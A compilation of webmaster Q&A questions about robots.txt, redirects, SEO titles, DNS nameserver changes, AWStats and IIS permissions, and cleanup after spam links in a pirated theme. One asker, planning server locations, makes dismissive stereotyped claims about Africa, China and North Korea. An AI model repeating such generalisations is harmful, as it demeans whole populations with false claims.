text: I have a static webpage written in HTML and CSS. I do not want it to be indexed by Google. So I made a _robots.txt_ file in the parent directory and disallowed the URL. I want to know:   1. Is that the right way of doing it?   2. How do I verify that my webpage is not being indexed by Google anymore?


title: SEO: Single URL rewrite from one app to another

text: I have two web applications running on two different servers. I want one, example.com/hello, to redirect to the second, hello.com. But I want both to contribute to each other's SEO ranking. What is the best way to accomplish this primarily for google search and for other search engines? I currently do a rewrite with permanent from example.com/hello to hello.com using nginx.


title: Would including some of the same words in every product URL be considered keyword stuffing?

text: I have about 130 products on my site, and I want the URL to look like this `example.com/unique-product-name-ratings-reviews-prices`. Since I have 130 of these pages, I am concerned about the (ratings-reviews- prices) portion of the URL, and afraid it may look like keyword stuffing, though the page will contain info about all 3 of those things.


title: How to redirect visitors to the server that is closest to them and where to place the servers?

text: I am focusing on providing fast page refreshes for my visitors and I wonder where is the smartest spot to place my servers on? I understand that the best would be to place a server in every country or even city, but that is of course not doable with my economy. I am thinking of maybe setting up three servers, one in the middle of USA (Kansas?), one in Italy and one in Sweden. What do you think about that? I don't care about Africa since they haven't even got computers so I won't get traffic from there anyway. China, North Korea etc are probably just visiting chinese websites, they barely know english anway... The next problem is how do I redirect a visitor from Finland to the Swedish server? I don't want the visitor from Finland to be using the USA server or vice versa.


title: AWStats Temp File Write Permissions Issue

text: I'm having an issue with AWStats updating its temporary database. I have the call to update the reporting database every hour through launchd, which runs as root. The perl scripts are called, and nothing gets updated. Troubleshooting demonstrated the following warning: > Warning: Failed to rename "/tmp/awstats082013.food.tmp.1641" into > "/tmp/awstats082013.food.txt". Write permissions on "awstats082013.food.txt" > might be wrong or file might be opened. The permissions on that file is 777. The permissions on /tmp are also 777. Why AWStats cannot modify that file is really the question. I can do this manually using sudo, but the bash script that is run hourly by launchd shouldn't have to take the sudo -A, nor does it work. Any advice as to how I can push through this, is appreciated.


title: Textarea tags and SEO

text: On my site, I want to give the user the ability to copy the code for our little support badge, and then paste it onto their site/blog. I'm accomplishing this by adding `<textarea></textarea>` tags in a widget in the sidebar, and the code for the badge is in between the tags. Would this affect my SEO in any way, since it's just a snippet of HTML coding that is visible, and not real content?


title: Rewriting URL to get Wordpress "permalink" type URL

text: I have created an ASP.NET site to replace a WordPress site that creates permalinks in the format:               http://example.com/the-name-of-my-post      I would like these URLs redirected to:               http://example.com/Default.aspx#&&the-name-of-my-post      ...which is what the ScriptManager generates at runtime. The WordPress site was around for about 2 years so there are lots of bookmarks and references to these "permalinks" on the search engines etc. Are there any modules I have to include in my website to get this to work? Is there any configuration that I have to ask my hosting company to make so that this works?


title: Does the DNS lookup result mean that my nameserver is pointed nowhere?

text: I changed my domain's nameservers, but I don't think the change was processed correctly. Can anyone help me understand the result below "AFTER"? In my registrant's control panel, I change the name servers from `ns1.secure.net` (etc.) to `ns1.linode.com` (etc.). But, after the changed, it looked like the DNS was pointed nowhere at all. _Is this a normal in-between state during the process of nameserver changeover, or does this mean that the new nameservers were not correctly assigned?_ **BEFORE:**               $dig mobtownballroom.com          ; <<>> DiG 9.8.3-P1 <<>> mobtownballroom.com     ;; global options: +cmd     ;; Got answer:     ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19515     ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2          ;; QUESTION SECTION:     ;mobtownballroom.com.    IN A          ;; ANSWER SECTION:     mobtownballroom.com.    69141   IN  A   66.228.58.195          ;; AUTHORITY SECTION:     mobtownballroom.com.    69141   IN  NS  ns2.secure.net.     mobtownballroom.com.    69141   IN  NS  ns1.secure.net.          ;; ADDITIONAL SECTION:     ns1.secure.net.  63323  IN  A   192.220.124.10     ns2.secure.net.  63323  IN  A   192.220.125.10          ;; Query time: 44 msec     ;; SERVER: 128.220.143.30#53(128.220.143.30)     ;; WHEN: Fri Apr 4 18:19:12 2014     ;; MSG SIZE rcvd: 131      **AFTER:**               $dig mobtownballroom.com          ; <<>> DiG 9.2.4 <<>> -t ANY mobtownballroom.com     ;; global options: printcmd     ;; Got answer:     ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 10778     ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0          ;; QUESTION SECTION:     ;mobtownballroom.com.    IN ANY          ;; AUTHORITY SECTION:     com.     900    IN  SOA a.gtld-servers.net. nstld.verisign-grs.com. 1396650155 1800 900 604800 86400          ;; Query time: 0 msec     ;; SERVER: 64.22.68.60#53(64.22.68.60)     ;; WHEN: Fri Apr 4 18:22:57 2014     ;; MSG SIZE rcvd: 110      (For the time being, I have changed the nameservers back to `ns1.secure.net`, so if you run `dig` yourself now, you'll see "BEFORE".) More detail about how I got here:   * A previous developer registered the domain with MelbourneIT.   * I transferred the registration to active-domain. The DNS settings carried over.   * Having trouble getting the `www` subdomain to work with the nameservrs, I tried to point the nameservers to Linode.   * The site "went down" and, as you can see, the DNS pointed nowhere.


title: How to recover after malicious code removal?

text: I just removed some malicious code from one of my client's website's theme. It was a result of a pirated theme the client was using and had ignored some hidden code with hyperlinks to betting sites. According to my knowledge I can not do much but to wait for the pages to be crawled again and the change be noticed. Am I right with this assumption or is there any action that webmasters can take in this kind of situations?


title: SEO: Best Title for the Car Repair company (Toyota, Nissan, Mazda, Honda)

text: What would be the best Title for the home page for the following situation? Company name: SuperCompany Professional area: car repair service, specialize in 4 brands: Toyota, Nissan, Mazda, Honda. Our current variant: “SuperCompany – Best car repair service | Toyota | Nissan | Mazda | Honda"


title: IIS7 not having access to web.config

text: I have published a .net 4.0 web app. I am trying to configure IIS7 to show my app and I created a new application pool with .net framework 4.0 configuration. Then, I created a new app and pointed to the virtual directory. I went to the URL and I see a blank page. Trying to configure default pages resulted on an error: ![IIS Error](http://i.stack.imgur.com/68Tbu.png) I think I am having a permission error on the virtual directory. I gave full control to users IUSR and "Everyone" but nothing changed. Any help?


title: I have so much "not selected" index

text: ![enter image description here](http://i.stack.imgur.com/3FBw3.jpg) This is a screen shoot from web master tools. It shows I have a large number of "not selected" pages, first I thought if I fix duplicate content with 301 redirects and a sitemap, the problem will be solved, but it doesn't seem to be making any difference. (On 9/16/12 I made sitemap)